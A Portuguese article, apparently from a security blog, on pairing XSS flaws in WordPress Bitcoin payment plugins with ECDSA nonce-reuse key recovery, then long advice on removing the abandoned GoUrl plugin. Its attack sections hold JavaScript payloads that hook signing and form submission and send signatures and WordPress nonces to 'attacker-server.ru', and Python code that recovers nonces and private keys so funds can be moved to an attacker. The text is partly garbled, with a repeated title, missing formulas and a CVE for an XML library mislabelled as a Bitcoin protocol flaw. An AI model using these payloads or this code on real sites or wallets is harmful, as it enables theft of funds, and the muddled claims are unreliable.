  1. Atualizações instantâneas de plugins  – Aplicar todas as atualizações disponíveis para os plugins GoUrl e Bitcoin/AltCoin Payment Gateway wiz+ 1
  2. Carteiras frias  – para armazenar grandes quantidades de Bitcoin, use carteiras offline em vez de interfaces web. 
  3. Evite interfaces web – para operações criptográficas críticas, use software especializado em vez de extensões de navegador forklog. 
  4. Autenticação de dois fatores  para todas as contas de administrador do WordPress. 
  5. Monitoramento regular de transações  – verificar o histórico de transações em busca de atividade não autorizada forklog

3. Relação com CVE-2025-29774
CVE-2025-29774 é uma vulnerabilidade crítica na biblioteca xml-crypto que
permite que mensagens XML assinadas sejam modificadas de modo que ainda
passem pela verificação de assinatura. Isso pode ser usado em conjunto com sistemas de pagamento Bitcoin para:
Manipular parâmetros de transação,
Injetar assinaturas forjadas,
e Redirecionar pagamentos para endereços do atacante.

  1. Sinergia do XSS e Phantom Signature Attack: Ataque Combinado
    4.1 Cenário de Ataque em um Ambiente WordPress
    Estágio 1: Injeção Inicial de XSS
    O atacante explora CVE-2025-48102 para injetar JavaScript malicioso na configuração do gateway de pagamento GoUrl. O código malicioso inclui:
root@kitploit:~
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
  if (e.target.name === 'bitcoin_transaction') {
    // Capturing signature parameters (r, s values)
    var r = e.target.elements['signature_r'].value;
    var s = e.target.elements['signature_s'].value;
    var txid = e.target.elements['txid'].value;
  }
});

// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
  method: 'POST',
  body: JSON.stringify({r: r, s: s, txid: txid})
});

Isso demonstra um exemplo malicioso de interceptação de um envio de formulário de dados de assinatura Bitcoin.


Estágio 2: Interceptação de Parâmetros ECDSA
Graças à vulnerabilidade XSS, o script malicioso tem acesso a:
Valores de nonce do WordPress (usados para proteção CSRF) Cookies de sessão Parâmetros de transação Bitcoin (incluindo valores de assinatura r e s) Chave privada
informações temporariamente armazenadas na memória do navegador 

Estágio 3: Análise de violações de RNG e detecção de repetições de k Ao coletar dados de múltiplas assinaturas de um único usuário, o atacante pode detectar: Reutilização de nonce (k) entre diferentes assinaturas Valores fracos ou previsíveis do gerador de números aleatórios (RNG) ​​Erros sistemáticos na geração de parâmetros criptográficos

Passo 4: Recuperando a Chave Privada
Usando a relação matemática descrita na Seção 3.2, um atacante pode
calcular a chave privada d, resultando no comprometimento total da carteira.
4.2 Código de Demonstração do Ataque Payload XSS malicioso para injeção no Bitcoin Payment Gateway:

root@kitploit:~
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
  var signature = originalSign.call(this, message, privateKey);
  // Storing signature parameters for analysis
  bitcoinSignatures.push({
    message: message,
    signature: signature,
    timestamp: new Date().getTime()
  });
  // Sending to the attacker's server
  new Image().src = 'https://attacker-server.ru/log?sig=' +
    btoa(JSON.stringify(signature));
  return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
  var wpNonce = document.querySelector('[name="_wpnonce"]');
  if (wpNonce) {
    fetch('https://attacker-server.ru/nonce', {
      method: 'POST',
      body: 'nonce=' + wpNonce.value
    });
  }
}, 5000);

Este código demonstra um trecho de JavaScript malicioso que intercepta operações de assinatura Bitcoin e nonces de sessão do WordPress antes de exfiltrá-los para um servidor remoto para potencial exploração.


  1. Recuperando Carteiras Bitcoin Perdidas via Phantom Signature
    Attack 5.1 Recuperação de Chave Privada
    Metodologia Após receber um número suficiente de assinaturas (pelo menos 2 assinaturas com o mesmo valor r), o atacante pode aplicar o seguinte algoritmo de recuperação:

Passo 1: Identificar valores r duplicados

root@kitploit:~
def find_duplicate_r(signatures):
    r_values = {}
    for sig in signatures:
        r = sig['r']
        if r in r_values:
            return (sig, r_values[r])
        r_values[r] = sig
    return None
# Result: (signature1, signature2) with the same r

Explicação:
Esta função busca duas assinaturas ECDSA/Bitcoin que possuem o mesmo valor rr entre a lista de assinaturas.

  • Se encontrar tal par, retorna ambas as assinaturas como uma tupla.
  • Se nenhum duplicado for encontrado, retorna None.

Esta busca é relevante para análise de vulnerabilidade criptográfica, pois valores rr duplicados podem indicar reutilização de nonce, o que é explorável em ataques de recuperação de chave privada.


Passo 2: Calcular nonce k

root@kitploit:~
python:

def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k

Comentário:
Esta função calcula o nonce ECDSA k em casos onde duas assinaturas compartilham o mesmo valor rrr (ou seja, nonce repetido ou reutilizado), usando a diferença nos valores de assinatura sss e hashes de mensagem, conforme o princípio conhecido de ataque de reticulado e reutilização de nonce. A fórmula implementada é:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

onde:

  • s1,s2s_1, s_2s1,s2 são os valores de assinatura sss,
  • H(m1),H(m2)H(m_1), H(m_2)H(m1),H(m2) são os hashes das mensagens assinadas correspondentes,
  • nnn é a ordem do grupo da curva elíptica.

Esta técnica é uma ferramenta criptoanalítica padrão para Bitcoin e análises ECDSA.


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

Passo 3: Recuperando a chave privada

root@kitploit:~
python:

def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key

Explicação:
Esta função recupera a chave privada ddd ECDSA a partir de uma única assinatura se o nonce kkk for conhecido.
A fórmula usada é:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

onde:

  • r e sss são componentes da assinatura,
  • k é o nonce ECDSA,
  • H(m) é o hash da mensagem assinada,
  • n é a ordem da curva elíptica.

Este cálculo é crucial na criptoanálise prática uma vez que k tenha sido recuperado, permitindo a extração da chave privada original usada para gerar a assinatura.


5.2 Exemplo Prático de Recuperação
Vamos considerar um cenário real:
Dados coletados:
Endereço Bitcoin: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (exemplo)
Número de assinaturas coletadas: 12
Duplicatas de nonce detectadas: 3 pares
Processo de recuperação:

  1. Análise de 12 assinaturas revela 3 pares com o mesmo valor r
  2. Para cada par, k é calculado de acordo com a fórmula acima.
  3. Três valores diferentes de k confirmam violação sistemática do RNG
  4. Usando qualquer par de assinaturas, a chave privada é recuperada.
  5. A chave privada é usada para criar uma nova assinatura para qualquer mensagem.
  6. Todos os fundos no endereço podem ser transferidos para o endereço do atacante.
  7. Impacto na Segurança das Carteiras Bitcoin e Criptomoeda
    6.1 Escopo da Vulnerabilidade
    O ataque combinado XSS + Phantom Signature Attack representa uma ameaça crítica para:
    Usuários de sites WordPress com gateways de pagamento Bitcoin
    Proprietários de carteiras quentes usando interfaces web
    Plataformas comerciais que aceitam Bitcoin payments
    6.2 Estatísticas e Casos Reais
    De acordo com pesquisas da
    keyhunters.ru :
    A reutilização de nonce ECDSA já resultou em perdas de centenas de milhões de dólares
    Em um caso, a análise de valores de nonce duplicados permitiu recuperar 412.8 BTC
    Bots automatizados constantemente escaneiam a blockchain em busca de valores r duplicados
  8. Medidas Preventivas e Recomendações
    7.1 Para Desenvolvedores de Plugins WordPress
  • Implementação imediata do RFC 6979 – usar geração determinística de nonce em vez de RNG não determinístico
  • Remoção de todas as vulnerabilidades XSS – sanitização completa da entrada do usuário
  • Verificação criptográfica é a verificação da correção das assinaturas imediatamente após sua geração.
  • Uso de módulos de segurança de hardware – para operações criptográficas críticas

7.2 Para usuários de Bitcoin

  1. Atualização imediata dos plugins GoUrl e Bitcoin/AltCoin Payment Gateway
  2. Usar carteiras frias para armazenar grandes quantias
  3. Evitar interfaces web para operações críticas
  4. Verificar regularmente os logs de acesso e histórico de transações
  5. Usar multi-assinaturas para segurança adicional

O Phantom Signature Attack, combinado com vulnerabilidades XSS em
gateways de pagamento Bitcoin do WordPress (CVE-2025-48102 e CVE-2025-26541) , representa uma ameaça crítica à
segurança dos ativos de criptomoeda.


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

Este ataque combinado demonstra como uma vulnerabilidade web relativamente simples pode ser explorada para comprometer a integridade criptográfica de um sistema, resultando na perda completa de chaves privadas e, consequentemente, no roubo de todos os fundos.


O estudo mostra que a segurança do Bitcoin depende não apenas da força criptográfica de seus algoritmos, mas também da implementação impecável desses algoritmos no ambiente web. Mesmo
pequenas falhas no processamento de XSS ou RNGs fracos podem levar a consequências catastróficas.
Adotar as medidas preventivas propostas e atualizar prontamente o software vulnerável é fundamental para proteger o ecossistema Bitcoin e recuperar carteiras perdidas.

O Phantom Signature Attack , combinado com as vulnerabilidades XSS CVE-2025-48102 e CVE-2025-26541 em gateways de pagamento Bitcoin para WordPress, representa uma das ameaças mais críticas e realistas à segurança de ativos de criptomoedas no ambiente web moderno. Esta pesquisa demonstra como uma vulnerabilidade web relativamente simples pode ser explorada para comprometer diretamente a integridade criptográfica de um sistema, levando à perda completa de chaves privadas e ao roubo irreversível de fundos em Bitcoin.

O Phantom Signature Attack foi escolhido dentre uma ampla gama de ferramentas criptográficas em keyhunters.ru devido à sua relevância direta para o problema de recuperação de chaves privadas através da manipulação de parâmetros ECDSA que podem ser interceptados via XSS. Este ataque serve como um exemplo ideal da sinergia entre vulnerabilidades web (categoria OWASP Top 10) e falhas criptográficas, o que requer uma abordagem abrangente de proteção.

A segurança do Bitcoin depende não apenas da força criptográfica de seus algoritmos, mas também de sua implementação impecável no ambiente web. Mesmo pequenas falhas no processamento de XSS ou RNGs fracos podem ter consequências catastróficas para o ecossistema. A adoção das medidas preventivas sugeridas e a atualização imediata de software vulnerável são essenciais para proteger o Bitcoin e recuperar carteiras de usuários perdidas.


CVE-2025-48102 e CVE-2025-26541: Vulnerabilidades críticas de XSS em gateways de pagamento Bitcoin para WordPress

Duas graves vulnerabilidades de cross-site scripting (XSS) foram descobertas em plugins populares de gateway de pagamento Bitcoin para WordPress, representando um risco de segurança significativo para milhares de lojas online e sites que aceitam pagamentos em criptomoedas.

CVE-2025-48102: Vulnerabilidade de XSS armazenado no GoUrl Bitcoin Payment Gateway

A vulnerabilidade  CVE-2025-48102  foi publicada oficialmente em 5 de setembro de 2025 e afeta o popular plugin  GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership em todas as versões até 1.6.6 inclusive. Esta falha de segurança é classificada como  um XSS armazenado  (Cross-Site Scripting Attack) sob a classificação  CWE-79  (Improper Neutralization of Input During Web Page Generation).

Características técnicas da vulnerabilidade

A vulnerabilidade recebeu uma pontuação de severidade CVSS v3.1 de  5.9  (severidade média) com o vetor de ataque  CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . A decomposição do vetor mostra as seguintes características: feedly+2

  • Vetor de Ataque (AV:N)  — ataque de rede que não requer acesso físico.
  • Complexidade do Ataque (AC:L)  — baixa complexidade de exploração feedly
  • Privilégios Necessários (PR:H)  — altos privilégios (administrador) são necessários.
  • Interação do Usuário (UI:R)  — é necessária interação do usuário feedly
  • Escopo (S:C)  — um contexto de segurança mutável feedly
  • Confidencialidade/Integridade/Disponibilidade (C:L/I:L/A:L)  — Baixo impacto em todos os três parâmetros wiz

Mecanismo do ataque

A vulnerabilidade surge da  neutralização inadequada da entrada do usuário  ao gerar páginas web. Um atacante com privilégios administrativos pode injetar scripts maliciosos no sistema de gerenciamento de conteúdo WordPress, que são então  armazenados no banco de dados  e executados automaticamente quando outros usuários visitam a página. patchstack+2

Como explicam os especialistas da Patchstack, isso permite que um atacante injete vários elementos maliciosos, incluindo:

  • Redirecionamentos para sites de phishing
  • Publicidade não autorizada
  • Cargas úteis HTML personalizadas patchstack

A criticidade da situação

Particularmente preocupante  é o fato de que  o plugin GoUrl não é mais suportado por seus desenvolvedores . De acordo com a Patchstack, o software não é atualizado há mais de um ano e provavelmente não receberá mais atualizações ou patches. Isso deixa todos os sites que usam este plugin  permanentemente vulneráveis  à exploração.

Especialistas da plataforma Wiz observam que esta  vulnerabilidade de XSS armazenado  foi descoberta no plugin WordPress GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership e divulgada em 5 de setembro de 2025. Embora a exploração exija privilégios de administrador,  o código malicioso pode ser executado em nome de qualquer visitante do site , expandindo significativamente o escopo potencial do ataque.


Phantom Signature Attack: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras cripto perdidas com controle ilimitado sobre moedas BTC

​

CVE-2025-26541: Vulnerabilidade de XSS refletido no Bitcoin/AltCoin Payment Gateway

A segunda vulnerabilidade,  CVE-2025-26541 , foi publicada em 26 de março de 2025 e afeta o plugin:  CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce  em todas as versões até 1.7.6 inclusive.

Classificação da vulnerabilidade

Esta vulnerabilidade é classificada como  um XSS refletido  (cross-site scripting attack). Ao contrário do XSS armazenado, o XSS refletido ocorre quando a entrada maliciosa do usuário  é imediatamente refletida de volta ao usuário  através de uma resposta HTTP sem a devida sanitização, fazendo com que o navegador da vítima execute o script do atacante.

Informações técnicas

A vulnerabilidade foi avaliada de acordo com  o sistema CVSS v3.1 com o vetor  CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L , que indica: feedly

  • Ataque de rede  sem necessidade de acesso físico
  • Baixa complexidade  de operação
  • Ausência de privilégios :N  (PR:N) é um fator crítico escalerts
  • Interação do usuário necessária
  • Contexto de segurança mutável
  • Baixo impacto na confidencialidade, integridade e disponibilidade

Vetor de ataque e correção

De acordo com pesquisadores de segurança, a vulnerabilidade pode ser  explorada através de ataques de XSS refletido , permitindo que atacantes injetem scripts maliciosos em páginas web. A Patchstack, a plataforma que descobriu esta vulnerabilidade, aconselha que para corrigir a CVE-2025-26541, é necessário  atualizar o plugin Bitcoin/AltCoin Payment Gateway for WooCommerce para a versão 1.7.7 ou superior .

A ameaça comum das vulnerabilidades XSS no WordPress

A escala do problema

Cross-site scripting (XSS) é  uma das vulnerabilidades mais comuns encontradas em aplicações web. De acordo com vários estudos,  as vulnerabilidades XSS representam aproximadamente 53,3% de todas as vulnerabilidades de plugins WordPress .

Particularmente alarmante é o fato de que em 2024,  nada menos que 1.614 plugins foram removidos  do repositório WordPress.org devido a preocupações de segurança, dos quais 1.450 foram classificados como tendo vulnerabilidades de alta ou média prioridade. Muitos destes plugins  continuam ativos em sites , expondo-os a ataques constantes.

Consequências da exploração

Os ataques de XSS armazenado são particularmente perigosos porque o código malicioso é salvo no banco de dados do site e executado automaticamente para cada visitante que visualiza a página infectada. Isso torna o XSS Armazenado significativamente mais destrutivo do que o XSS Refletido, pois: fastly+1

  1. Impacto generalizado  — um atacante pode injetar um script uma vez, e ele será executado para todos os usuários que visualizarem esse conteúdo.
  2. Sequestro de sessão de administrador  — Permite que atacantes interceptem sessões de administrador e obtenham controle completo sobre o site security.friendsofpresta+1.
  3. Roubo de dados sensíveis  — incluindo senhas, informações de cartão de crédito e informações pessoais scworld+1
  4. Danos à reputação  — direcionando visitantes para sites de phishing e desfigurando conteúdo. wpexperts

Especialistas da Wordfence enfatizam que no contexto do WordPress,  adicionar usuários administrativos com credenciais controladas pelo atacante e editar arquivos pode levar a um comprometimento completo do site , e isso é ativamente usado por atacantes.

Medidas de proteção e recomendações

Ação imediata

Para proprietários de sites que usam os plugins afetados, os especialistas recomendam as seguintes  medidas imediatas :

Para CVE-2025-48102 (GoUrl):

  • Remova o plugin imediatamente  e substitua por uma alternativa ativamente mantida patchstack+1
  • Desativar o plugin  não elimina o risco de segurança a menos que o patch virtual seja implantado.
  • Como não há correção oficial e o software é considerado abandonado,  a única solução eficaz é removê-lo completamente .

Phantom Signature Attack: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras cripto perdidas com controle ilimitado sobre moedas BTC

Mitigação crítica para CVE-2025-48102: Por que desativar o plugin GoUrl não é suficiente e o que fazer

A descoberta  da vulnerabilidade CVE-2025-48102  no plugin GoUrl Bitcoin Payment Gateway criou uma situação crítica para milhares de proprietários de sites WordPress. Particularmente alarmante é o fato de que  as medidas de segurança padrão não fornecem proteção adequada , enquanto  meias-medidas podem criar uma falsa sensação de segurança . Vamos analisar mais de perto por que simplesmente desativar o plugin não resolve o problema e quais passos são necessários para eliminar completamente a ameaça.

Por que desativar o plugin não corrige a ameaça de segurança

A realidade técnica dos plugins desativados

Muitos administradores do WordPress acreditam erroneamente que  desativar um plugin o desabilita completamente  e elimina todos os riscos de segurança associados. No entanto, este equívoco fundamental pode ter consequências desastrosas. dotwise+2

A diferença crítica entre desativação e exclusão:

Desativar um plugin  simplesmente desabilita sua funcionalidade no WordPress—o código do plugin não interage mais com seu site e suas funções não são mais executadas. No entanto, todos  os arquivos e dados do plugin permanecem no servidor a menos que você desinstale completamente o plugin. Esta distinção chave é crucial para entender os potenciais riscos de segurança. qodeinteractive+1

Presença física do código no servidor:  Mesmo quando um plugin está desativado, seus arquivos continuam armazenados no diretório  /wp-content/plugins/ do seu servidor. Se um plugin tem vulnerabilidades conhecidas, um hacker pode  explorá-las acessando diretamente os arquivos do plugin . Isso pode ocorrer através de outras vulnerabilidades no seu site, como segurança fraca do servidor ou credenciais de administrador comprometidas. magnatechnology+3

Especialistas de segurança da Dotwise enfatizam:  “O código permanece acessível. Mesmo quando o plugin está desativado, seus arquivos permanecem armazenados no seu servidor. Se o plugin tiver vulnerabilidades conhecidas, um hacker pode explorá-las acessando diretamente os arquivos do plugin. “


Vetores de ataque para plugins desativados

Ataques direcionados:  Cibercriminosos frequentemente  examinam sites em busca de certos plugins vulneráveis . Se um plugin vulnerável existe no seu servidor, mesmo que esteja desabilitado, ainda pode ser atacado por um invasor. magnatechnology+1

Especialistas da Qode Interactive alertam:  “Desativar um plugin em vez de excluí-lo é ótimo para diagnóstico e solução de problemas, mas é sempre destinado apenas para uso de curto prazo. Se você quer que seu site WordPress seja o mais seguro possível contra hackers, deve excluir todos os plugins não utilizados e seus arquivos. “

Plugins desatualizados:  Plugins desativados são frequentemente  negligenciados durante a manutenção regular do WordPress . Se um plugin não for atualizado para corrigir vulnerabilidades de segurança, pode se tornar um elo fraco na segurança do seu site. Hackers frequentemente exploram software desatualizado, e um plugin desativado não é exceção. dotwise+1

A equipe da Magna Technology observa:  “Um dos problemas mais críticos com plugins desativados é a segurança. Embora plugins desativados não sejam executados, eles permanecem na sua instalação do WordPress e podem se tornar uma vulnerabilidade se não forem atualizados regularmente. Hackers frequentemente exploram plugins desatualizados para obter acesso a sites, mesmo que esses plugins estejam inativos . “


Falta de correção oficial e status de software abandonado

A criticidade da situação com o GoUrl

A natureza específica  da CVE-2025-48102  é que  o plugin GoUrl Bitcoin Payment Gateway não é mais suportado por seus desenvolvedores . Isso cria uma situação única e extremamente perigosa para todos os usuários do plugin. patchstack+1

Posição oficial da Patchstack:  A página de vulnerabilidade da Patchstack afirma claramente:  “Este software provavelmente está abandonado! Este software foi atualizado pela última vez há mais de um ano e provavelmente não receberá mais atualizações ou patches. Por favor, considere urgentemente substituir o software por uma alternativa.” patchstack

Aviso crítico de desativação:  A Patchstack afirma especificamente:  “Por favor, note que desativar o software não elimina o risco de segurança, a menos que um patch virtual (vPatch) seja implantado.” patchstack

Recomendação dos especialistas da Wiz :  Especialistas da plataforma Wiz afirmam categoricamente:  “Como não há correção oficial e o software é considerado abandonado, a medida de mitigação recomendada é remover e substituir o plugin por uma alternativa ativamente mantida .


Consequências do uso de software abandonado

Vulnerabilidade persistente:  Sem suporte do desenvolvedor,  nenhuma atualização de segurança será lançada . Isso significa que quaisquer vulnerabilidades descobertas, incluindo CVE-2025-48102, permanecerão sem correção para sempre. wiz +1

Acúmulo de riscos:  Com o tempo  , vulnerabilidades adicionais podem ser descobertas que também ficam sem correção. De acordo com estatísticas da Patchstack, nada menos que 1.450 plugins foram removidos do repositório WordPress.org em 2024   devido a vulnerabilidades de alta ou média prioridade .

Incompatibilidade com versões futuras:  Plugins abandonados podem tornar-se  incompatíveis com versões futuras do WordPress, PHP ou outras dependências , criando problemas adicionais de funcionalidade e segurança. mainwp +1


Ataque de Assinatura Fantasma: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras cripto perdidas com controle ilimitado sobre moedas BTC

O Papel do Patching Virtual na Proteção de Plugins Vulneráveis

O que é patching virtual?

Patching Virtual  é uma técnica de segurança que  bloqueia explorações conhecidas antes que atinjam código vulnerável , sem fazer quaisquer alterações na própria aplicação. wp-umbrella+2

Definição OWASP:  A organização OWASP define patching virtual como  “um nível de aplicação de políticas de segurança que impede a exploração de uma vulnerabilidade conhecida. ”

Como funciona:  Patches virtuais analisam transações e interceptam ataques em trânsito, para que  o tráfego malicioso nunca chegue à aplicação web . Como resultado, mesmo que o código fonte real da aplicação não tenha sido modificado, as tentativas de exploração falham.owasp+1

Como um patch virtual protege contra CVE-2025-48102

Especificidade da Vulnerabilidade:  Ao contrário dos Firewalls de Aplicação Web (WAFs) de uso geral, que dependem de padrões de deteção amplos, patches virtuais  são escritos como regras direcionadas que correspondem a payloads específicos . Se um plugin tiver uma vulnerabilidade de SQL injection ou cross-site scripting, um patch virtual pode  intercetar e bloquear a assinatura exata do pedido que a explora. wp-umbrella+1

Tecnologia Patchstack:  A Patchstack utiliza  regras JSON específicas da vulnerabilidade que podem incluir várias instruções. Por exemplo, para SQL injection, que pode ser alcançada incluindo um payload malicioso no parâmetro POST id, um patch virtual pode  usar uma abordagem de whitelist , onde o id só pode conter um número. patchstack+1

Implementação automatizada:  Quando uma vulnerabilidade é descoberta e documentada com um identificador CVE, investigadores de segurança — ou plataformas como a Patchstack —  verificam a vulnerabilidade e documentam exatamente como a exploração funciona . Isto torna-se a base para um patch virtual, que pode então ser  automaticamente implementado em todos os sites protegidos .

Vantagens e limitações do patching virtual

Principais benefícios:

  • Proteção Imediata:  Fornece proteção em horas após a descoberta de uma vulnerabilidade, mesmo que uma correção oficial ainda não tenha sido lançada.searchenginejournal+1
  • Proteção zero-day:  Sites protegidos pela Patchstack  estão protegidos até contra vulnerabilidades zero-day que ainda não são conhecidas do público.
  • Escalabilidade:  Firewalls de aplicação web geridos podem implementar patches em toda uma rede de websites simultaneamente.
  • Mitigação de Risco:  Reduz o risco antes de um fornecedor lançar um patch ou durante o teste e aplicação do patchowasp
  • Sem Conflitos:  Menor probabilidade de conflitos do que corrigir código manualmente.
  • Facilidade de implementação:  Ao contrário dos firewalls de aplicação que dependem de conjuntos de regras genéricas, a Patchstack sabe  exatamente quais vulnerabilidades estão presentes e pode fornecer proteção personalizada para cada site.theadminbar

Limitações críticas para CVE-2025-48102:

Apesar de todos os benefícios do patching virtual,  não é uma solução de longo prazo para o plugin abandonado GoUrl . A Patchstack avisa claramente que desativar o software não elimina a ameaça de segurança  a menos que um patch virtual seja implementado . No entanto, depender apenas de um patch virtual para proteção contínua contra software abandonado é  uma estratégia perigosa , pois:patchstack

  1. Novas vulnerabilidades podem ser descobertas para as quais patches virtuais ainda não foram criados.
  2. Um patch virtual é uma medida temporária , não uma solução permanente. sucuri+1
  3. É necessária uma subscrição ativa  num serviço como a Patchstack para manter a proteção. wp-umbrella+1

A única solução eficaz é remover completamente o plugin.

Por que a remoção completa é necessária?

Considerando todos os fatores—  a falta de uma correção oficial, o estado de software abandonado, a inadequação da desativação e a natureza temporária do patching virtual  —os especialistas são unânimes:  a única solução eficaz para CVE-2025-48102 é a remoção completa do GoUrl .wiz plugin . +1

Consenso dos especialistas:

  • Patchstack:  “Considere urgentemente substituir o software por uma alternativa”patchstack
  • Wiz :  “A medida de mitigação recomendada é remover e substituir o plugin.”wiz
  • WPBeginner:  “Sim, não só é seguro, como também é recomendado eliminar plugins inativos que não planeia usar novamente.” wpbeginner
  • Qode Interactive:  “Se quiser que o seu site WordPress seja o mais seguro possível contra hackers, precisa de eliminar todos os plugins não utilizados e os seus ficheiros.” qodeinteractive

Ataque de Assinatura Fantasma: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras cripto perdidas com controle ilimitado sobre moedas BTC

Processo passo a passo para remoção segura

Passo 1: Crie um backup completo de Jetpack+1

Antes de remover qualquer plugin  , certifique-se de criar um backup completo  do seu site, incluindo ficheiros e base de dados. Isto garantirá que pode restaurar o seu site se ocorrerem problemas. Ferramentas recomendadas: liquidweb+1

  • Jetpack VaultPress Backup para backups automatizados
  • UpdraftPlus para backups abrangentes wppluginexperts
  • BlogVault para gestão de backups wppluginexperts

Passo 2: Desative o plugin através do kinsta+1 painel

Entre no seu painel WordPress e vá a  Plugins → Plugins Instalados . Encontre  GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership  e clique em  “Desativar.” kinsta+1

Passo 3: Remova o plugin wpbeginner+1 do WordPress

Após desativar, clique em  “Eliminar”  sob o nome do plugin. O WordPress eliminará os ficheiros do plugin do diretório  /wp-content/plugins/.jetpack+3.

Passo 4: Limpe a base de dados de tabelas liquidweb+2 residuais

Um passo crítico:  Muitos plugins WordPress criam as suas próprias tabelas na base de dados que  não são automaticamente eliminadas  quando o plugin é desinstalado. Estas  “tabelas órfãs”  continuam a ocupar espaço e podem conter dados sensíveis. youtube​onlinemediamasters+3

Métodos de limpeza da base de dados:

A. Usando plugins para limpar a base de dados: nitropack+2

Advanced Database Cleaner  é um plugin abrangente de limpeza da base de dados WordPress: wordpress+1

  • A versão Pro permite-lhe  remover tabelas órfãs deixadas por plugins WordPress+1 removidos.
  • Identifica tabelas que já não são utilizadas por plugins WordPress ativos.
  • Fornece uma função de pré-visualização antes de remover nitropack

WP-Optimize  é uma ferramenta de optimização popular: jetpack+2

  • Abre o separador  Tabelas e permite-lhe eliminar tabelas específicas do jetpack.
  • Marca tabelas como “não instaladas” ou “inativas” onlinemediamasters
  • Fornece um botão  “Remover” no separador Ações onlinemediamasters

Plugins Garbage Collector  é um plugin especializado para detetar tabelas órfãs: YouTube

  • Analisa a base de dados e exibe os resultados em três cores. YouTube
  • Cor vermelha  indica possíveis tabelas órfãs de plugins YouTube não utilizados.
  • Verde  destaca tabelas necessárias para plugins YouTube ativos.
  • Cor azul  indica tabelas de plugins YouTube desativados.

B. Limpeza manual via phpMyAdmin: mehulgohil+2

Para utilizadores avançados:

  1. Entre no  phpMyAdmin  através do seu painel de controlo de alojamento. mehulgohil+1
  2. Selecione a sua base de dados WordPressliquidweb
  3. Use a função  Pesquisar para encontrar tabelas relacionadas com GoUrljetpack
  4. Encontre tabelas com um prefixo específico do GoUrl (ex.:  wp_gourl_*,  wp_crypto_files,  wp_crypto_payments,  wp_crypto_membership,  wp_crypto_products)wordpress+1
  5. Selecione as tabelas e clique em  “Eliminar”  para as remover do jetpack.

Consulta SQL para eliminar tabelas específicas: liquidweb

root@kitploit:~
sql:

DROP TABLE wp_gourl_tablename;

Substitua  wp_gourl_tablename pelo nome real da tabela.  Verifique sempre duas vezes se nenhum outro plugin está a usar a tabela.

Passo 5: Verifique se há ficheiros jetpack+1 residuais

Alguns plugins podem criar ficheiros  fora do diretório de plugins . Verifique o diretório  /wp-content/uploads/ para pastas associadas ao GoUrl (por exemplo, [  /wp-content/uploads/gourl/wordpress+2]) e elimine-as via FTP ou através do seu gestor de ficheiros de alojamento.

Passo 6: Remover Shortcodes Não Utilizados

Se shortcodes do GoUrl foram usados no conteúdo do seu site, eles tornar-se-ão  inativos e exibidos como texto . Encontre e remova-os manualmente de artigos e páginas.


Seleção e implementação de uma alternativa ativamente suportada

Critérios para escolher uma alternativa segura

Ao escolher um substituto para o GoUrl, deve considerar os seguintes fatores:

1. Suporte ativo e atualizações regulares: wp-content+1

  • O plugin deve ser atualizado regularmente (pelo menos várias vezes por ano)wp-content
  • O programador deve responder ativamente a relatos de segurança. Patchstack
  • A documentação e o suporte técnico para mainwp devem estar disponíveis.

2. Uma forte reputação de segurança: paymattic+1

  • Utilização de certificados SSL/TLS com encriptação de 256 bits (getshieldsecurity+1)
  • Conformidade com PCI DSS Hosted+1
  • Críticas positivas e classificações de segurança beycanpress+1

3. Compatibilidade técnica: crocoblock+1

  • Compatibilidade com a sua versão do WordPress e PHPbeycanpress
  • Integração com plugins de e-commerce existentes (WooCommerce, etc.)crocoblock+1
  • Suporte para criptomoedas essenciais awisee+1

Ataque de Assinatura Fantasma: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras cripto perdidas com controle ilimitado sobre moedas BTC

Alternativas recomendadas ao GoUrl

BTCPay Server  é uma solução autoalojada e de código aberto: instawp+2

  • Controlo total e privacidade  — sem necessidade de KYC atlos+1
